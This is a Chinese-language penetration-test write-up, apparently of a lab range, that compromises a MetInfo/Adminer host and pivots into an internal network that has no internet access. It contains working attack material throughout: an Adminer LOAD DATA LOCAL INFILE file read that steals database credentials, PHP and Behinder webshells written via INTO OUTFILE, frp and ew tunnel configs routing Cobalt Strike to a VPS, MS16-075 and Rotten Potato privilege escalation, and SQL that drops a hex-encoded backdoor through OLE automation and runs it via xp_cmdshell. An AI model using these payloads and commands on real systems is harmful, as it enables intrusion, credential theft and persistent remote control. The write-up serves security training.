记一次拿下不出网主机权限
项目拓扑
任意文件读取+跨中间件写马getshell、不出网代理转发上线、多层代理访问不出网主机等
外网打点
端口扫描,发现80、3306、8000端口
访问8000端口,是一个米拓信息
扫描目录,发现一个robots.txt文件
发现存在admin目录,应该是后台了。
尝试访问了一遍,发现事情没有这么简单,目录扫描还发现一个和admin长得很像的目录,访问之后,是一个数据库连接登录页面。
server-info存在网站的根路径等信息,但是暂时好像没什么用。
adminer4.4.0任意文件读取
首先,开启mysql的允许远程连接
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
create database adminer; // 创建一个库
create table test(text text(4096)); // 创建表,用来接收文件内容
在adminer页面登陆自己搭建的mysql服务器,执行如下命令来读取目标服务器上的robots.txt文件。
load data local infile "C:\\php\\adsdrsdfv\\robots.txt" into table loger FIELDS TERMINATED BY '\n';
这里成功读取到目标服务器的robots.txt文件
接下来读取目标网站的数据库配置文件。
load data local infile "C:\\php\\adsdrsdfv\\config\\config_db.php" into table loger FIELDS TERMINATED BY '\n';
账号:root
密码:8B..123admin
数据库:xiaopao_met
成功连接到目标数据库
查看数据库是否有写入的权限,漂亮,有写入权限,写入一句话木马。
写入一句话木马失败,提示拒绝访问,那就是不允许在该目录下写,也不能直接写到网站根目录下。
SELECT "<?php @eval($_POST['x']); ?>" INTO OUTFILE 'C:\\php\\adsdrsdfv\\adminer\\winsha.php';
来查看80端口,随便输入路径,报错了,并且显示网站的完整路径。
写入冰蝎的马。显示执行完毕,但是连接不到木马。
SELECT '<%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b");byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>' INTO OUTFILE "C:/vulnIIS/俱乐部/winsha.aspx";
最后经过尝试,这里完整路径必须使用/,并且需要转为简体中文(gbk)格式才可以成功写入。
查看当前权限,比较低,存在IP:10.0.1.136
tasklist,识别是否存在杀软进程,没有杀软;还是老办法,反连上线CS
[common]
server_addr = vps_ip
server_port = 7000
[reverse]
type = tcp
local_ip = 127.0.0.1
local_port = 5555
remote_port = 5555
[server]
type = tcp
local_ip = 127.0.0.1
local_port = 50050
remote_port = 50098
内网渗透
反向代理上线cs
cs连接vps_ip 50098
成功上线,但是当前权限比较低。
MS16-075提权(这里使用LSTAR的MS16_075插件成功的,MSF上传MS16_075手动执行失败,使用MS16_075自带的模块利用好多次也失败,不知道什么原因)
抓取明文密码,这里只抓取到了vulntarget用户的密码123.com
抓取密码hash,尝试解密
添加socks5代理
直接远程桌面连接到目标主机上,可以看到有一个搜狗浏览器
在浏览器记录里面找到一条网址记录。勾选密码查看功能,即可获取搭配后台账号密码。但是这里暂时还访问不到。8B..123admin
这里上传nbtscan,扫描存活主机。
替换IP访问 http://10.0.1.135:8000/SiteServer/main.cshtml
上传设置添加asp,aspx白名单
附件上传后显示文件保存的路径。
蚁剑成功链接。
这里还是一个普通用户权限。这里还是和跳板机的配置一样,应该可以使用MS16-075进行提权。
跳板机代理转发上线
此时第二台主机已经上线。
因为这里是不出网的,而且MS16-075插件提权是需要反向连接的攻击载荷;遂使用烂土豆尝试本地提权。
本地执行后门文件,获取SYSTEM权限。
这里没有抓取到明文,遂抓取密码hash,然后解密。
Administrator:zxcvbnm
在网站根目录下的web.config文件中获取到sqlserver数据库账号名、密码、库名
发现当前网站使用sql sevrer数据库,但是查看本地开放端口,没有发现1521端口。而且当前主机也不存在IP 10.0.10.102,因此,真相只有一个,站库分离。
[1]利用蚁剑数据库模块(缺点:部分命令不能执行)
因为前面我已经获取到10.0.10.100这台主机的webshell,所以我直接使用蚁剑来连接数据库sqlserver://xiaopao:123.com@10.0.10.102:1433/sscmstest
解密得到明文密码QwE123asd
重新使用sa用户登陆sqlserver,但是这里部分sql语句无法执行。
[2]cs开启socket服务 proxifier添加代理链
这一部分可以去看原创博主:https://mp.weixin.qq.com/s/jHeErfr3P4XgfYPG9Ocgng
在10.0.1.136和10.0.1.135两台主机上都开启socks5代理。
kali添加10.0.1.136(192.168.40.172)的代理端口
proxifier添加代理链,要注意顺序
[3]ew开启双层代理 proxifier代理
内网穿透多层代理:https://xz.aliyun.com/t/10279#toc-2
# 攻击机执行
ew_for_Win.exe -s rcsocks -l 1080 -e 1234
# 跳板机执行(192.168.40.172)
ew_for_Win.exe -s rssocks -d 192.168.40.1 -e 1234
# 攻击机重新添加一个(注意端口不要重复)
ew_for_Win.exe -s lcx_listen -l 3080 -e 8888
# 不出网主机执行(10.0.1.135)
ew_for_Win.exe -s ssocksd -l 9999
# 在跳板机上将攻击机和不出网主机(10.0.1.135)之间的隧道打通
ew_for_Win.exe -s lcx_slave -d 192.168.40.1 -e 8888 -f 10.0.1.135 -g 9999
proxifier 添加代理
成功连接到内网10.0.10.102的sqlserver数据库
sqlserver文件落地上线cs
启用OLE组件
exec master.dbo.sp_configure 'show advanced options', 1
RECONFIGURE
exec master.dbo.sp_configure 'Ole Automation Procedures', 1
RECONFIGURE
生成后门,然后转为hex格式,然后通过10.0.1.135代理转发上线。
把处理好的hex编码放在OLE组件内并创建命令执行存储过程命令:
DECLARE @DATA VARBINARY(MAX)= 0x-hex // 将这里-hex更换为上面的hex编码
DECLARE @filepath VARCHAR(MAX)='C:\\Users\\Public\\Downloads\\r.exe'
DECLARE @ObjectToken INT
EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT
EXEC sp_OASetProperty @ObjectToken,'Type',1
EXEC sp_OAMethod @ObjectToken,'Open'
EXEC sp_OAMethod @ObjectToken,'Write',NULL, @DATA
EXEC sp_OAMethod @ObjectToken,'SaveToFile',NULL, @filepath,2
EXEC sp_OAMethod @ObjectToken,'Close'
EXEC sp_OADestroy @ObjectToken
SELECT @filepath
开启xp_cmdshell
USE master
EXEC sp_configure 'show advanced options', 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'show advanced options', 0
RECONFIGURE WITH OVERRIDE
利用xp_cmdshell运行后门
成功上面cs
还是利用上面一样的提权手法。